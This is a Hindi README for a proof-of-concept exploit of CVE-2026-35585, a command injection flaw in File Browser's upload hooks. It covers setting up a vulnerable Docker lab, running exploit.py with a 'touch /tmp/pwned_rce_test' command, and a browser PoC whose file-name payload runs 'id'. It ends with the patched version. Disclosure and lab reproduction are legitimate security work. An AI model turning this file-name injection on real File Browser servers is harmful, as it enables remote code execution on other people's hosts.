
CVE-2026-35585 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, File Browser (संस्करण 2.0.0 से 2.33.1) में एक OS कमांड इंजेक्शन भेद्यता। इसमें दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से रिमोट कोड निष्पादन के लिए Python और ब्राउज़र-आधारित PoC स्क्रिप्ट शामिल हैं।
यह रिपॉजिटरी, File Browser (संस्करण 2.0.0 से 2.33.1) में पाए गए एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-35585 का Proof of Concept (PoC) है।
यह भेद्यता "Custom Command Hooks" सुविधा में मौजूद है। शेल निष्पादन के दौरान $FILE या $USERNAME जैसे पर्यावरण चरों को पर्याप्त रूप से सैनिटाइज़ नहीं किया जाता है, जिसके कारण फ़ाइल अपलोड करने की अनुमति वाले प्रमाणित उपयोगकर्ता दुर्भावनापूर्ण फ़ाइल नामों का उपयोग करके होस्ट सिस्टम पर मनमाने कमांड निष्पादित कर सकते हैं।
खोजकर्ता: saku0512 (https://github.com/Saku0512)
यह परियोजना केवल शैक्षिक उद्देश्यों और नैतिक सुरक्षा परीक्षण के लिए है।
इस उपकरण के दुरुपयोग, क्षति या अवैध गतिविधियों के लिए लेखक कोई जिम्मेदारी नहीं लेता है। कंप्यूटर सिस्टम में अनधिकृत पहुँच अवैध है। इस सॉफ़्टवेयर का उपयोग करके, आप केवल स्पष्ट अनुमति प्राप्त वातावरण में सुरक्षा परीक्षण करने के लिए सहमत हैं।
File Browser में, व्यवस्थापक "After Upload" जैसे हुक सेट कर सकते हैं। जब ये हुक निष्पादित होते हैं, तो एप्लिकेशन शेल कमांड चलाता है और $FILE जैसे चरों को वास्तविक फ़ाइल नाम से बदल देता है। यदि फ़ाइल नाम में ;, &, | जैसे शेल मेटा-अक्षर शामिल हैं, तो वे उचित रूप से एस्केप नहीं होते और सिस्टम शेल में निष्पादित हो जाते हैं।
यह खंड प्रदान किए गए वातावरण और एक्सप्लॉइट स्क्रिप्ट का उपयोग करके रिमोट कोड निष्पादन (RCE) को पुन: उत्पन्न करने की प्रक्रिया का वर्णन करता है।
Docker Compose का उपयोग करके भेद्य वातावरण (File Browser v2.33.1) प्रारंभ करें। पहली बार data/filebrowser.db मौजूद नहीं है, इसलिए पहले File Browser DB को आरंभ करें, फिर हुक सेट करें।
# data निर्देशिका में उपयुक्त अनुमतियाँ सेट करें
mkdir -p data && sudo chown -R 1000:1000 data
# DB आरंभ करें
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin उपयोगकर्ता जोड़ें
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# शेल को "sh -c" पर सेट करें
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After Upload कमांड जोड़ें
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# कंटेनर प्रारंभ करें
docker compose up -d
यदि पहले से data/filebrowser.db मौजूद है, तो config init की आवश्यकता नहीं है। यदि admin उपयोगकर्ता पहले से मौजूद है, तो users add के बजाय निम्न कमांड से पासवर्ड रीसेट करें।
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
कंटेनर शुरू होने के बाद हुक कॉन्फ़िगरेशन बदलने के लिए, SQLite लॉक से बचने के लिए पहले docker compose stop करें, फिर कॉन्फ़िगरेशन कमांड चलाएँ, और अंत में docker compose start करें।
exploit.py स्क्रिप्ट चलाएँ जो लॉगिन और दुर्भावनापूर्ण फ़ाइल अपलोड को स्वचालित करती है। निम्न कमांड कंटेनर के /tmp निर्देशिका में pwned_rce_test नामक फ़ाइल बनाने का प्रयास करता है।
# निर्भरताएँ स्थापित करें
pip install requests
# एक्सप्लॉइट चलाएँ
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
जाँचें कि कंटेनर के अंदर फ़ाइल बनाई गई है या नहीं, और कमांड सफलतापूर्वक निष्पादित हुआ है।
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
यदि फ़ाइल मौजूद है, तो RCE की पुष्टि हो गई है।
मौजूदा exploit.py का उपयोग जारी रखा जा सकता है। यदि आप File Browser के संचालन के अनुभव के साथ अधिक जाँच करना चाहते हैं, तो संलग्न ब्राउज़र PoC नेविगेशन का उपयोग कर सकते हैं।
ऊपर "1. वातावरण सेटअप और प्रारंभिक कॉन्फ़िगरेशन" चलाएँ, और http://localhost:8080 पर File Browser में लॉगिन करने योग्य स्थिति प्राप्त करें।
python3 browser_poc.py
ब्राउज़र में निम्नलिखित खोलें।
http://127.0.0.1:8090/
http://localhost:8080 की पहुँच की जाँच करें।admin / admin से लॉगिन करें और File Browser API का टोकन प्राप्त करें।id > /srv/pwned_browser_rce.txt को निष्पादित करने वाला फ़ाइल नाम payload उत्पन्न करता है।/srv/pwned_browser_rce.txt पढ़ें और RCE का परिणाम स्क्रीन पर देखें।/srv को docker-compose.yml में इस रिपॉजिटरी से माउंट किया गया है, इसलिए सफलता पर होस्ट साइड पर भी pwned_browser_rce.txt बनाया जाएगा।
File Browser को संस्करण 2.33.8 या उसके बाद अपडेट करें। सुधारित संस्करण में, हुक सुविधा डिफ़ॉल्ट रूप से अक्षम कर दी गई है और चर विस्तार को अधिक सुरक्षित रूप से संभाला गया है।